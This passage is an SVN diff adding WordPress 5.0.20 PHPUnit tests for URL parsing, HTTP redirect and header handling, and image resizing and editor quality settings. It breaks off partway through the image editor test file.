--- /tags/5.0.20/tests/phpunit/tests/http/http.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/http/http.php	(revision 56912)
@@ -0,0 +1,389 @@
+<?php
+/**
+ * Non-transport-specific WP_HTTP Tests
+ *
+ * @group http
+ */
+class Tests_HTTP_HTTP extends WP_UnitTestCase {
+
+	const FULL_TEST_URL = 'http://username:password@host.name:9090/path?arg1=value1&arg2=value2#anchor';
+
+	/**
+	 * @dataProvider make_absolute_url_testcases
+	 */
+	function test_make_absolute_url( $relative_url, $absolute_url, $expected ) {
+		$actual = WP_Http::make_absolute_url( $relative_url, $absolute_url );
+		$this->assertEquals( $expected, $actual );
+	}
+
+	function make_absolute_url_testcases() {
+		// 0: The Location header, 1: The current url, 3: The expected url
+		return array(
+			array( 'http://site.com/', 'http://example.com/', 'http://site.com/' ), // Absolute URL provided
+			array( '/location', '', '/location' ), // No current url provided
+
+			array( '', 'http://example.com', 'http://example.com/' ), // No location provided
+
+			// Location provided relative to site root
+			array( '/root-relative-link.ext', 'http://example.com/', 'http://example.com/root-relative-link.ext' ),
+			array( '/root-relative-link.ext?with=query', 'http://example.com/index.ext?query', 'http://example.com/root-relative-link.ext?with=query' ),
+
+			// Location provided relative to current file/directory
+			array( 'relative-file.ext', 'http://example.com/', 'http://example.com/relative-file.ext' ),
+			array( 'relative-file.ext', 'http://example.com/filename', 'http://example.com/relative-file.ext' ),
+			array( 'relative-file.ext', 'http://example.com/directory/', 'http://example.com/directory/relative-file.ext' ),
+
+			// Location provided relative to current file/directory but in a parent directory
+			array( '../file-in-parent.ext', 'http://example.com', 'http://example.com/file-in-parent.ext' ),
+			array( '../file-in-parent.ext', 'http://example.com/filename', 'http://example.com/file-in-parent.ext' ),
+			array( '../file-in-parent.ext', 'http://example.com/directory/', 'http://example.com/file-in-parent.ext' ),
+			array( '../file-in-parent.ext', 'http://example.com/directory/filename', 'http://example.com/file-in-parent.ext' ),
+
+			// Location provided in muliple levels higher, including impossible to reach (../ below DOCROOT)
+			array( '../../file-in-grand-parent.ext', 'http://example.com', 'http://example.com/file-in-grand-parent.ext' ),
+			array( '../../file-in-grand-parent.ext', 'http://example.com/filename', 'http://example.com/file-in-grand-parent.ext' ),
+			array( '../../file-in-grand-parent.ext', 'http://example.com/directory/', 'http://example.com/file-in-grand-parent.ext' ),
+			array( '../../file-in-grand-parent.ext', 'http://example.com/directory/filename/', 'http://example.com/file-in-grand-parent.ext' ),
+			array( '../../file-in-grand-parent.ext', 'http://example.com/directory1/directory2/filename', 'http://example.com/file-in-grand-parent.ext' ),
+
+			// Query strings should attach, or replace existing query string.
+			array( '?query=string', 'http://example.com', 'http://example.com/?query=string' ),
+			array( '?query=string', 'http://example.com/file.ext', 'http://example.com/file.ext?query=string' ),
+			array( '?query=string', 'http://example.com/file.ext?existing=query-string', 'http://example.com/file.ext?query=string' ),
+			array( 'otherfile.ext?query=string', 'http://example.com/file.ext?existing=query-string', 'http://example.com/otherfile.ext?query=string' ),
+
+			// A file with a leading dot
+			array( '.ext', 'http://example.com/', 'http://example.com/.ext' ),
+
+			// URls within URLs
+			array( '/expected', 'http://example.com/sub/http://site.com/sub/', 'http://example.com/expected' ),
+			array( '/expected/http://site.com/sub/', 'http://example.com/', 'http://example.com/expected/http://site.com/sub/' ),
+
+			// Schemeless URL's (Not valid in HTTP Headers, but may be used elsewhere)
+			array( '//example.com/sub/', 'https://example.net', 'https://example.com/sub/' ),
+		);
+	}
+
+	/**
+	 * @dataProvider parse_url_testcases
+	 */
+	function test_wp_parse_url( $url, $expected ) {
+		$actual = wp_parse_url( $url );
+		$this->assertEquals( $expected, $actual );
+	}
+
+	function parse_url_testcases() {
+		// 0: The URL, 1: The expected resulting structure
+		return array(
+			array( self::FULL_TEST_URL, array(
+				'scheme'   => 'http',
+				'host'     => 'host.name',
+				'port'     => 9090,
+				'user'     => 'username',
+				'pass'     => 'password',
+				'path'     => '/path',
+				'query'    => 'arg1=value1&arg2=value2',
+				'fragment' => 'anchor',
+			) ),
+			array( 'http://example.com/', array( 'scheme' => 'http', 'host' => 'example.com', 'path' => '/' ) ),
+
+			// < PHP 5.4.7: Schemeless URL
+			array( '//example.com/path/', array( 'host' => 'example.com', 'path' => '/path/' ) ),
+			array( '//example.com/', array( 'host' => 'example.com', 'path' => '/' ) ),
+			array( 'http://example.com//path/', array( 'scheme' => 'http', 'host' => 'example.com', 'path' => '//path/' ) ),
+
+			// < PHP 5.4.7: Scheme separator in the URL.
+			array( 'http://example.com/http://example.net/', array( 'scheme' => 'http', 'host' => 'example.com', 'path' => '/http://example.net/' ) ),
+			array( '/path/http://example.net/', array( 'path' => '/path/http://example.net/' ) ),
+
+			// < PHP 5.4.7: IPv6 literals in schemeless URLs are handled incorrectly.
+			array( '//[::FFFF::127.0.0.1]/', array( 'host' => '[::FFFF::127.0.0.1]', 'path' => '/' ) ),
+
+			// PHP's parse_url() calls this an invalid url, we handle it as a path
+			array( '/://example.com/', array( 'path' => '/://example.com/' ) ),
+
+			// Schemeless URL containing colons cause parse errors in PHP 7+.
+			array(
+				'//fonts.googleapis.com/css?family=Open+Sans:400&subset=latin',
+				array(
+					'host'  => 'fonts.googleapis.com',
+					'path'  => '/css',
+					'query' => 'family=Open+Sans:400&subset=latin',
+				),
+			),
+			array(
+				'//fonts.googleapis.com/css?family=Open+Sans:400',
+				array(
+					'host'  => 'fonts.googleapis.com',
+					'path'  => '/css',
+					'query' => 'family=Open+Sans:400',
+				),
+			),
+
+			array( 'filenamefound', array( 'path' => 'filenamefound' ) ),
+
+			// Empty string or non-string passed in.
+			array( '', array( 'path' => '' ) ),
+			array( 123, array( 'path' => '123' ) ),
+		);
+		/*
+		Untestable edge cases in various PHP:
+		  - ///example.com - Fails in PHP >= 5.4.7, assumed path in <5.4.7
+		  - ://example.com - assumed path in PHP >= 5.4.7, fails in <5.4.7
+		*/
+	}
+
+	/**
+	 * @ticket 36356
+	 */
+	function test_wp_parse_url_with_default_component() {
+		$actual = wp_parse_url( self::FULL_TEST_URL, -1 );
+		$this->assertEquals( array(
+			'scheme'   => 'http',
+			'host'     => 'host.name',
+			'port'     => 9090,
+			'user'     => 'username',
+			'pass'     => 'password',
+			'path'     => '/path',
+			'query'    => 'arg1=value1&arg2=value2',
+			'fragment' => 'anchor',
+		), $actual );
+	}
+
+	/**
+	 * @ticket 36356
+	 *
+	 * @dataProvider parse_url_component_testcases
+	 */
+	function test_wp_parse_url_with_component( $url, $component, $expected ) {
+		$actual = wp_parse_url( $url, $component );
+		$this->assertSame( $expected, $actual );
+	}
+
+	function parse_url_component_testcases() {
+		// 0: The URL, 1: The requested component, 2: The expected resulting structure.
+		return array(
+			array( self::FULL_TEST_URL, PHP_URL_SCHEME, 'http' ),
+			array( self::FULL_TEST_URL, PHP_URL_USER, 'username' ),
+			array( self::FULL_TEST_URL, PHP_URL_PASS, 'password' ),
+			array( self::FULL_TEST_URL, PHP_URL_HOST, 'host.name' ),
+			array( self::FULL_TEST_URL, PHP_URL_PORT, 9090 ),
+			array( self::FULL_TEST_URL, PHP_URL_PATH, '/path' ),
+			array( self::FULL_TEST_URL, PHP_URL_QUERY, 'arg1=value1&arg2=value2' ),
+			array( self::FULL_TEST_URL, PHP_URL_FRAGMENT, 'anchor' ),
+
+			// < PHP 5.4.7: Schemeless URL.
+			array( '//example.com/path/', PHP_URL_HOST, 'example.com' ),
+			array( '//example.com/path/', PHP_URL_PATH, '/path/' ),
+			array( '//example.com/', PHP_URL_HOST, 'example.com' ),
+			array( '//example.com/', PHP_URL_PATH, '/' ),
+			array( 'http://example.com//path/', PHP_URL_HOST, 'example.com' ),
+			array( 'http://example.com//path/', PHP_URL_PATH, '//path/' ),
+
+			// < PHP 5.4.7: Scheme separator in the URL.
+			array( 'http://example.com/http://example.net/', PHP_URL_HOST, 'example.com' ),
+			array( 'http://example.com/http://example.net/', PHP_URL_PATH, '/http://example.net/' ),
+			array( '/path/http://example.net/', PHP_URL_HOST, null ),
+			array( '/path/http://example.net/', PHP_URL_PATH, '/path/http://example.net/' ),
+
+			// < PHP 5.4.7: IPv6 literals in schemeless URLs are handled incorrectly.
+			array( '//[::FFFF::127.0.0.1]/', PHP_URL_HOST, '[::FFFF::127.0.0.1]' ),
+			array( '//[::FFFF::127.0.0.1]/', PHP_URL_PATH, '/' ),
+
+			// PHP's parse_url() calls this an invalid URL, we handle it as a path.
+			array( '/://example.com/', PHP_URL_PATH, '/://example.com/' ),
+
+			// Schemeless URL containing colons cause parse errors in PHP 7+.
+			array( '//fonts.googleapis.com/css?family=Open+Sans:400&subset=latin', PHP_URL_HOST, 'fonts.googleapis.com' ),
+			array( '//fonts.googleapis.com/css?family=Open+Sans:400&subset=latin', PHP_URL_PORT, null ),
+			array( '//fonts.googleapis.com/css?family=Open+Sans:400&subset=latin', PHP_URL_PATH, '/css' ),
+			array( '//fonts.googleapis.com/css?family=Open+Sans:400&subset=latin', PHP_URL_QUERY, 'family=Open+Sans:400&subset=latin' ),
+			array( '//fonts.googleapis.com/css?family=Open+Sans:400', PHP_URL_HOST, 'fonts.googleapis.com' ), // 25
+			array( '//fonts.googleapis.com/css?family=Open+Sans:400', PHP_URL_PORT, null ),
+			array( '//fonts.googleapis.com/css?family=Open+Sans:400', PHP_URL_PATH, '/css' ), //27
+			array( '//fonts.googleapis.com/css?family=Open+Sans:400', PHP_URL_QUERY, 'family=Open+Sans:400' ), //28
+
+			// Empty string or non-string passed in.
+			array( '', PHP_URL_PATH, '' ),
+			array( '', PHP_URL_QUERY, null ),
+			array( 123, PHP_URL_PORT, null ),
+			array( 123, PHP_URL_PATH, '123' ),
+		);
+	}
+
+	/**
+	 * @ticket 35426
+	 */
+	public function test_http_response_code_constants() {
+		global $wp_header_to_desc;
+
+		$ref = new ReflectionClass( 'WP_Http' );
+		$constants = $ref->getConstants();
+
+		// This primes the `$wp_header_to_desc` global:
+		get_status_header_desc( 200 );
+
+		$this->assertEquals( array_keys( $wp_header_to_desc ), array_values( $constants ) );
+
+	}
+
+	/**
+	 * @ticket 37768
+	 */
+	public function test_normalize_cookies_scalar_values() {
+		$http = _wp_http_get_object();
+
+		$cookies = array(
+			'x'   => 'foo',
+			'y'   => 2,
+			'z'   => 0.45,
+			'foo' => array( 'bar' ),
+		);
+
+		$cookie_jar = $http->normalize_cookies( array(
+			'x'   => 'foo',
+			'y'   => 2,
+			'z'   => 0.45,
+			'foo' => array( 'bar' ),
+		) );
+
+		$this->assertInstanceOf( 'Requests_Cookie_Jar', $cookie_jar );
+
+		foreach( array_keys( $cookies ) as $cookie ) {
+			if ( 'foo' === $cookie ) {
+				$this->assertFalse( isset( $cookie_jar[ $cookie ] ) );
+			} else {
+				$this->assertInstanceOf( 'Requests_Cookie', $cookie_jar[ $cookie ] );
+			}
+		}
+	}
+
+	/**
+	 * @ticket 36356
+	 *
+	 * @dataProvider get_component_from_parsed_url_array_testcases
+	 */
+	function test_get_component_from_parsed_url_array( $url, $component, $expected ) {
+		$parts  = wp_parse_url( $url );
+		$actual = _get_component_from_parsed_url_array( $parts, $component );
+		$this->assertSame( $expected, $actual );
+	}
+
+	function get_component_from_parsed_url_array_testcases() {
+		// 0: A URL, 1: PHP URL constant, 2: The expected result.
+		return array(
+			array( 'http://example.com/', -1, array( 'scheme' => 'http', 'host' => 'example.com', 'path' => '/' ) ),
+			array( 'http://example.com/', -1, array( 'scheme' => 'http', 'host' => 'example.com', 'path' => '/' ) ),
+			array( 'http://example.com/', PHP_URL_HOST, 'example.com' ),
+			array( 'http://example.com/', PHP_URL_USER, null ),
+			array( 'http:///example.com', -1, false ), // Malformed.
+			array( 'http:///example.com', PHP_URL_HOST, null ), // Malformed.
+		);
+	}
+
+	/**
+	 * @ticket 36356
+	 *
+	 * @dataProvider wp_translate_php_url_constant_to_key_testcases
+	 */
+	function test_wp_translate_php_url_constant_to_key( $input, $expected ) {
+		$actual = _wp_translate_php_url_constant_to_key( $input );
+		$this->assertSame( $expected, $actual );
+	}
+
+	function wp_translate_php_url_constant_to_key_testcases() {
+		// 0: PHP URL constant, 1: The expected result.
+		return array(
+			array( PHP_URL_SCHEME, 'scheme' ),
+			array( PHP_URL_HOST, 'host' ),
+			array( PHP_URL_PORT, 'port' ),
+			array( PHP_URL_USER, 'user' ),
+			array( PHP_URL_PASS, 'pass' ),
+			array( PHP_URL_PATH, 'path' ),
+			array( PHP_URL_QUERY, 'query' ),
+			array( PHP_URL_FRAGMENT, 'fragment' ),
+
+			// Test with non-PHP_URL_CONSTANT parameter.
+			array( 'something', false ),
+			array( ABSPATH, false ),
+		);
+	}
+
+	/**
+	 * Test HTTP Redirects with multiple Location headers specified.
+	 *
+	 * Ensure the WP_HTTP::handle_redirects() method handles multiple Location headers
+	 * and the HTTP request it makes uses the last Location header.
+	 *
+	 * @ticket 16890
+	 * @ticket 57306
+	 *
+	 * @covers WP_HTTP::handle_redirects
+	 */
+	public function test_multiple_location_headers() {
+		$pre_http_request_filter_has_run = false;
+		// Filter the response made by WP_HTTP::handle_redirects().
+		add_filter(
+			'pre_http_request',
+			array( $this, 'filter_for_multiple_location_headers' ),
+			10,
+			3
+		);
+
+		$headers = array(
+			'server'       => 'nginx',
+			'date'         => 'Sun, 11 Dec 2022 23:11:22 GMT',
+			'content-type' => 'text/html; charset=utf-8',
+			'location'     => array(
+				'http://example.com/?multiple-location-headers=1&redirected=one',
+				'http://example.com/?multiple-location-headers=1&redirected=two',
+			),
+		);
+
+		// Test the tests: ensure multiple locations are passed to WP_HTTP::handle_redirects().
+		$this->assertTrue( is_array( $headers['location'] ), 'Location header is expected to be an array.' );
+		$this->assertCount( 2, $headers['location'], 'Location header is expected to contain two values.' );
+
+		$args = array(
+			'timeout'      => 30,
+			'_redirection' => 3,
+			'redirection'  => 2,
+			'method'       => 'GET',
+		);
+
+		$redirect_response = _wp_http_get_object()->handle_redirects(
+			'http://example.com/?multiple-location-headers=1',
+			$args,
+			array(
+				'headers'  => $headers,
+				'body'     => '',
+				'cookies'  => array(),
+				'filename' => null,
+				'response' => array(
+					'code'    => 302,
+					'message' => 'Found',
+				),
+			)
+		);
+		$this->assertSame( 'PASS', wp_remote_retrieve_body( $redirect_response ), 'Redirect response body is expected to be PASS.' );
+	}
+
+	public function filter_for_multiple_location_headers( $response, $args, $url ) {
+		if ( 'http://example.com/?multiple-location-headers=1&redirected=two' === $url ) {
+			$body = 'PASS';
+		} else {
+			$body = 'FAIL';
+		}
+
+		return array(
+			'headers'  => array(),
+			'body'     => $body,
+			'response' => array(
+				'code'    => 200,
+				'message' => 'OK',
+			),
+			'cookies'  => array(),
+			'filename' => null,
+		);		
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/http/remoteRetrieveHeaders.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/http/remoteRetrieveHeaders.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/http/remoteRetrieveHeaders.php	(revision 56912)
@@ -0,0 +1,38 @@
+<?php
+
+/**
+ * @group http
+ */
+class Tests_HTTP_RemoteRetrieveHeaders extends WP_UnitTestCase {
+
+	/**
+	 * Valid response
+	 */
+	function test_remote_retrieve_headers_valid_response() {
+		$headers = 'headers_data';
+		$response = array( 'headers' => $headers );
+
+		$result = wp_remote_retrieve_headers( $response );
+		$this->assertEquals( $headers, $result );
+	}
+
+	/**
+	 * Response is a WP_Error
+	 */
+	function test_remote_retrieve_headers_is_error() {
+		$response = new WP_Error( 'Some error' );
+
+		$result = wp_remote_retrieve_headers( $response );
+		$this->assertEquals( array(), $result );
+	}
+
+	/**
+	 * Response does not contain 'headers'
+	 */
+	function test_remote_retrieve_headers_invalid_response() {
+		$response = array( 'no_headers' => 'set');
+
+		$result = wp_remote_retrieve_headers( $response );
+		$this->assertEquals( array(), $result );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/http/streams.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/http/streams.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/http/streams.php	(revision 56912)
@@ -0,0 +1,11 @@
+<?php
+
+require_once dirname( __FILE__ ) . '/base.php';
+
+/**
+ * @group http
+ * @group external-http
+ */
+class Tests_HTTP_streams extends WP_HTTP_UnitTestCase {
+	var $transport = 'streams';
+}
Index: /tags/5.0.20/tests/phpunit/tests/image/base.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/image/base.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/image/base.php	(revision 56912)
@@ -0,0 +1,90 @@
+<?php
+
+/**
+ * @group image
+ */
+abstract class WP_Image_UnitTestCase extends WP_UnitTestCase {
+
+	/**
+	 * Set the image editor engine according to the unit test's specification
+	 */
+	public function setUp() {
+		parent::setUp();
+
+		if ( ! call_user_func( array( $this->editor_engine, 'test' ) ) ) {
+			$this->markTestSkipped( sprintf('The image editor engine %s is not supported on this system', $this->editor_engine) );
+		}
+
+		add_filter( 'wp_image_editors', array( $this, 'setEngine' ), 10, 2 );
+	}
+
+	/**
+	 * Undo the image editor override
+	 */
+	public function tearDown() {
+		remove_filter( 'wp_image_editors', array( $this, 'setEngine' ), 10, 2 );
+		parent::tearDown();
+	}
+
+	/**
+	 * Override the image editor engine
+	 * @return string
+	 */
+	public function setEngine( $editors ) {
+		return array( $this->editor_engine );
+	}
+
+	/**
+	 * Helper assertion for testing alpha on images using GD library
+	 *
+	 * @param  string $image_path
+	 * @param  array $point      array(x,y)
+	 * @param  int $alpha
+	 */
+	protected function assertImageAlphaAtPointGD( $image_path, $point, $alpha ) {
+		$im = imagecreatefrompng( $image_path );
+		$rgb = imagecolorat( $im, $point[0], $point[1] );
+
+		$colors = imagecolorsforindex( $im, $rgb );
+
+		$this->assertEquals( $alpha, $colors['alpha'] );
+	}
+
+	/**
+	 * Helper assertion for testing alpha on images using Imagick
+	 *
+	 * @param string $image_path
+	 * @param array $point      array(x,y)
+	 * @param int $expected
+	 */
+	protected function assertImageAlphaAtPointImagick( $image_path, $point, $expected ) {
+		$im = new Imagick( $image_path );
+		$pixel = $im->getImagePixelColor( $point[0], $point[1] );
+		$color = $pixel->getColorValue( imagick::COLOR_ALPHA );
+		$this->assertEquals( $expected, $color );
+	}
+
+	/**
+	 * Helper assertion to check actual image dimensions on disk
+	 *
+	 * @param string $filename Image filename.
+	 * @param int    $width    Width to verify.
+	 * @param int    $height   Height to verify.
+	 */
+	protected function assertImageDimensions( $filename, $width, $height ) {
+		$detected_width = 0;
+		$detected_height = 0;
+		$image_size = @getimagesize( $filename );
+
+		if ( isset( $image_size[0] ) ) {
+			$detected_width = $image_size[0];
+		}
+
+		if ( isset( $image_size[1] ) ) {
+			$detected_height = $image_size[1];
+		}
+
+		$this->assertEquals( $width, $detected_width );
+		$this->assertEquals( $height, $detected_height );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/image/dimensions.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/image/dimensions.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/image/dimensions.php	(revision 56912)
@@ -0,0 +1,172 @@
+<?php
+
+/**
+ * @group image
+ * @group media
+ * @group upload
+ */
+class Tests_Image_Dimensions extends WP_UnitTestCase {
+	function test_400x400_no_crop() {
+		// landscape: resize 640x480 to fit 400x400: 400x300
+		$out = image_resize_dimensions(640, 480, 400, 400, false);
+		// dst_x, dst_y, src_x, src_y, dst_w, dst_h, src_w, src_h
+		$this->assertEquals( array(0, 0, 0, 0, 400, 300, 640, 480), $out );
+
+		// portrait: resize 480x640 to fit 400x400: 300x400
+		$out = image_resize_dimensions(480, 640, 400, 400, false);
+		// dst_x, dst_y, src_x, src_y, dst_w, dst_h, src_w, src_h
+		$this->assertEquals( array(0, 0, 0, 0, 300, 400, 480, 640), $out );
+	}
+
+	function test_400x0_no_crop() {
+		// landscape: resize 640x480 to fit 400w: 400x300
+		$out = image_resize_dimensions(640, 480, 400, 0, false);
+		// dst_x, dst_y, src_x, src_y, dst_w, dst_h, src_w, src_h
+		$this->assertEquals( array(0, 0, 0, 0, 400, 300, 640, 480), $out );
+
+		// portrait: resize 480x640 to fit 400w: 400x533
+		$out = image_resize_dimensions(480, 640, 400, 0, false);
+		// dst_x, dst_y, src_x, src_y, dst_w, dst_h, src_w, src_h
+		$this->assertEquals( array(0, 0, 0, 0, 400, 533, 480, 640), $out );
+	}
+
+	function test_0x400_no_crop() {
+		// landscape: resize 640x480 to fit 400h: 533x400
+		$out = image_resize_dimensions(640, 480, 0, 400, false);
+		// dst_x, dst_y, src_x, src_y, dst_w, dst_h, src_w, src_h
+		$this->assertEquals( array(0, 0, 0, 0, 533, 400, 640, 480), $out );
+
+		// portrait: resize 480x640 to fit 400h: 300x400
+		$out = image_resize_dimensions(480, 640, 0, 400, false);
+		// dst_x, dst_y, src_x, src_y, dst_w, dst_h, src_w, src_h
+		$this->assertEquals( array(0, 0, 0, 0, 300, 400, 480, 640), $out );
+	}
+
+	function test_800x800_no_crop() {
+		// landscape: resize 640x480 to fit 800x800
+		$out = image_resize_dimensions(640, 480, 800, 800, false);
+		// dst_x, dst_y, src_x, src_y, dst_w, dst_h, src_w, src_h
+		$this->assertEquals( false, $out );
+
+		// portrait: resize 480x640 to fit 800x800
+		$out = image_resize_dimensions(480, 640, 800, 800, false);
+		// dst_x, dst_y, src_x, src_y, dst_w, dst_h, src_w, src_h
+		$this->assertEquals( false, $out );
+	}
+
+	function test_800x0_no_crop() {
+		// landscape: resize 640x480 to fit 800w
+		$out = image_resize_dimensions(640, 480, 800, 0, false);
+		// dst_x, dst_y, src_x, src_y, dst_w, dst_h, src_w, src_h
+		$this->assertEquals( false, $out );
+
+		// portrait: resize 480x640 to fit 800w
+		$out = image_resize_dimensions(480, 640, 800, 0, false);
+		// dst_x, dst_y, src_x, src_y, dst_w, dst_h, src_w, src_h
+		$this->assertEquals( false, $out );
+	}
+
+	function test_0x800_no_crop() {
+		// landscape: resize 640x480 to fit 800h
+		$out = image_resize_dimensions(640, 480, 0, 800, false);
+		// dst_x, dst_y, src_x, src_y, dst_w, dst_h, src_w, src_h
+		$this->assertEquals( false, $out );
+
+		// portrait: resize 480x640 to fit 800h
+		$out = image_resize_dimensions(480, 640, 0, 800, false);
+		// dst_x, dst_y, src_x, src_y, dst_w, dst_h, src_w, src_h
+		$this->assertEquals( false, $out );
+	}
+
+	// cropped versions
+
+	function test_400x400_crop() {
+		// landscape: crop 640x480 to fit 400x400: 400x400 taken from a 480x480 crop at (80. 0)
+		$out = image_resize_dimensions(640, 480, 400, 400, true);
+		// dst_x, dst_y, src_x, src_y, dst_w, dst_h, src_w, src_h
+		$this->assertEquals( array(0, 0, 80, 0, 400, 400, 480, 480), $out );
+
+		// portrait: resize 480x640 to fit 400x400: 400x400 taken from a 480x480 crop at (0. 80)
+		$out = image_resize_dimensions(480, 640, 400, 400, true);
+		// dst_x, dst_y, src_x, src_y, dst_w, dst_h, src_w, src_h
+		$this->assertEquals( array(0, 0, 0, 80, 400, 400, 480, 480), $out );
+	}
+
+	function test_400x0_crop() {
+		// landscape: resize 640x480 to fit 400w: 400x300
+		$out = image_resize_dimensions(640, 480, 400, 0, true);
+		// dst_x, dst_y, src_x, src_y, dst_w, dst_h, src_w, src_h
+		$this->assertEquals( array(0, 0, 0, 0, 400, 300, 640, 480), $out );
+
+		// portrait: resize 480x640 to fit 400w: 400x533
+		$out = image_resize_dimensions(480, 640, 400, 0, true);
+		// dst_x, dst_y, src_x, src_y, dst_w, dst_h, src_w, src_h
+		$this->assertEquals( array(0, 0, 0, 0, 400, 533, 480, 640), $out );
+	}
+
+	function test_0x400_crop() {
+		// landscape: resize 640x480 to fit 400h: 533x400
+		$out = image_resize_dimensions(640, 480, 0, 400, true);
+		// dst_x, dst_y, src_x, src_y, dst_w, dst_h, src_w, src_h
+		$this->assertEquals( array(0, 0, 0, 0, 533, 400, 640, 480), $out );
+
+		// portrait: resize 480x640 to fit 400h: 300x400
+		$out = image_resize_dimensions(480, 640, 0, 400, true);
+		// dst_x, dst_y, src_x, src_y, dst_w, dst_h, src_w, src_h
+		$this->assertEquals( array(0, 0, 0, 0, 300, 400, 480, 640), $out );
+	}
+
+	function test_400x500_crop() {
+		// landscape: crop 640x480 to fit 400x500: 400x400 taken from a 480x480 crop at (80. 0)
+		$out = image_resize_dimensions(640, 480, 400, 500, true);
+		// dst_x, dst_y, src_x, src_y, dst_w, dst_h, src_w, src_h
+		$this->assertEquals( array(0, 0, 120, 0, 400, 480, 400, 480), $out );
+
+		// portrait: resize 480x640 to fit 400x400: 400x400 taken from a 480x480 crop at (0. 80)
+		$out = image_resize_dimensions(480, 640, 400, 500, true);
+		// dst_x, dst_y, src_x, src_y, dst_w, dst_h, src_w, src_h
+		$this->assertEquals( array(0, 0, 0, 20, 400, 500, 480, 600), $out );
+	}
+
+	function test_640x480() {
+		// crop 640x480 to fit 640x480 (no change)
+		$out = image_resize_dimensions(640, 480, 640, 480, true);
+		// dst_x, dst_y, src_x, src_y, dst_w, dst_h, src_w, src_h
+		$this->assertEquals( array(0, 0, 0, 0, 640, 480, 640, 480), $out );
+
+		// resize 640x480 to fit 640x480 (no change)
+		$out = image_resize_dimensions(640, 480, 640, 480, false);
+		// dst_x, dst_y, src_x, src_y, dst_w, dst_h, src_w, src_h
+		$this->assertEquals( array(0, 0, 0, 0, 640, 480, 640, 480), $out );
+	}
+
+	/**
+	 * @ticket 19393
+	 */
+	function test_crop_anchors() {
+		// landscape: crop 640x480 to fit 400x500: 400x400 taken from a 480x480 crop
+		// src_x = 0 (left), src_y = 0 (top)
+		$out = image_resize_dimensions(640, 480, 400, 500, array( 'left', 'top' ) );
+		// dst_x, dst_y, src_x, src_y, dst_w, dst_h, src_w, src_h
+		$this->assertEquals( array(0, 0, 0, 0, 400, 480, 400, 480), $out );
+
+		// portrait: resize 480x640 to fit 400x400: 400x400 taken from a 480x480 crop
+		// src_x = 0 (left), src_y = 0 (top)
+		$out = image_resize_dimensions(480, 640, 400, 500, array( 'left', 'top' ) );
+		// dst_x, dst_y, src_x, src_y, dst_w, dst_h, src_w, src_h
+		$this->assertEquals( array(0, 0, 0, 0, 400, 500, 480, 600), $out );
+
+		// landscape: crop 640x480 to fit 400x500: 400x400 taken from a 480x480 crop
+		// src_x = 240 (left), src_y = 0 (due to landscape crop)
+		$out = image_resize_dimensions(640, 480, 400, 500, array( 'right', 'bottom' ) );
+		// dst_x, dst_y, src_x, src_y, dst_w, dst_h, src_w, src_h
+		$this->assertEquals( array(0, 0, 240, 0, 400, 480, 400, 480), $out );
+
+		// portrait: resize 480x640 to fit 400x400: 400x400 taken from a 480x480 crop
+		// src_x = 0 (due to portrait crop), src_y = 40 (bottom)
+		$out = image_resize_dimensions(480, 640, 400, 500, array( 'right', 'bottom' ) );
+		// dst_x, dst_y, src_x, src_y, dst_w, dst_h, src_w, src_h
+		$this->assertEquals( array(0, 0, 0, 40, 400, 500, 480, 600), $out );
+	}
+
+}
Index: /tags/5.0.20/tests/phpunit/tests/image/editor.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/image/editor.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/image/editor.php	(revision 56912)
@@ -0,0 +1,184 @@
+<?php
+
+require_once dirname( __FILE__ ) . '/base.php';
+
+/**
+ * Test the WP_Image_Editor base class
+ * @group image
+ * @group media
+ */
+class Tests_Image_Editor extends WP_Image_UnitTestCase {
+	public $editor_engine = 'WP_Image_Editor_Mock';
+
+	/**
+	 * Setup test fixture
+	 */
+	public function setup() {
+		require_once( ABSPATH . WPINC . '/class-wp-image-editor.php' );
+
+		include_once( DIR_TESTDATA . '/../includes/mock-image-editor.php' );
+
+		parent::setUp();
+	}
+
+	/**
+	 * Test wp_get_image_editor() where load returns true
+	 * @ticket 6821
+	 */
+	public function test_get_editor_load_returns_true() {
+		$editor = wp_get_image_editor( DIR_TESTDATA . '/images/canola.jpg' );
+
+		$this->assertInstanceOf( 'WP_Image_Editor_Mock', $editor );
+	}
+
+	/**
+	 * Test wp_get_image_editor() where load returns false
+	 * @ticket 6821
+	 */
+	public function test_get_editor_load_returns_false() {
+		WP_Image_Editor_Mock::$load_return = new WP_Error();
+
+		$editor = wp_get_image_editor( DIR_TESTDATA . '/images/canola.jpg' );
+
+		$this->assertInstanceOf( 'WP_Error', $editor );
+
+		WP_Image_Editor_Mock::$load_return = true;
+	}
+
+	/**
+	 * Return integer of 95 for testing.
+	 */
+	public function return_integer_95() {
+		return 95;
+	}
+
+	/**
+	 * Return integer of 100 for testing.
+	 */
+	public function return_integer_100() {
+		return 100;
+	}
+
+	/**
+	 * Test test_quality
+	 * @ticket 6821
+	 */
+	public function test_set_quality() {
+
+		// Get an editor
+		$editor = wp_get_image_editor( DIR_TESTDATA . '/images/canola.jpg' );
+		$editor->set_mime_type( "image/jpeg" ); // Ensure mime-specific filters act properly.
+
+		// Check default value
+		$this->assertEquals( 82, $editor->get_quality() );
+
+		// Ensure the quality filters do not have precedence if created after editor instantiation.
+		$func_100_percent = array( $this, 'return_integer_100' );
+		add_filter( 'wp_editor_set_quality', $func_100_percent );
+		$this->assertEquals( 82, $editor->get_quality() );
+
+		$func_95_percent = array( $this, 'return_integer_95' );
+		add_filter( 'jpeg_quality', $func_95_percent );
+		$this->assertEquals( 82, $editor->get_quality() );
+
+		// Ensure set_quality() works and overrides the filters
+		$this->assertTrue( $editor->set_quality( 75 ) );
+		$this->assertEquals( 75, $editor->get_quality() );
+
+		// Get a new editor to clear default quality state
+		unset( $editor );
+		$editor = wp_get_image_editor( DIR_TESTDATA . '/images/canola.jpg' );
+		$editor->set_mime_type( "image/jpeg" ); // Ensure mime-specific filters act properly.
+
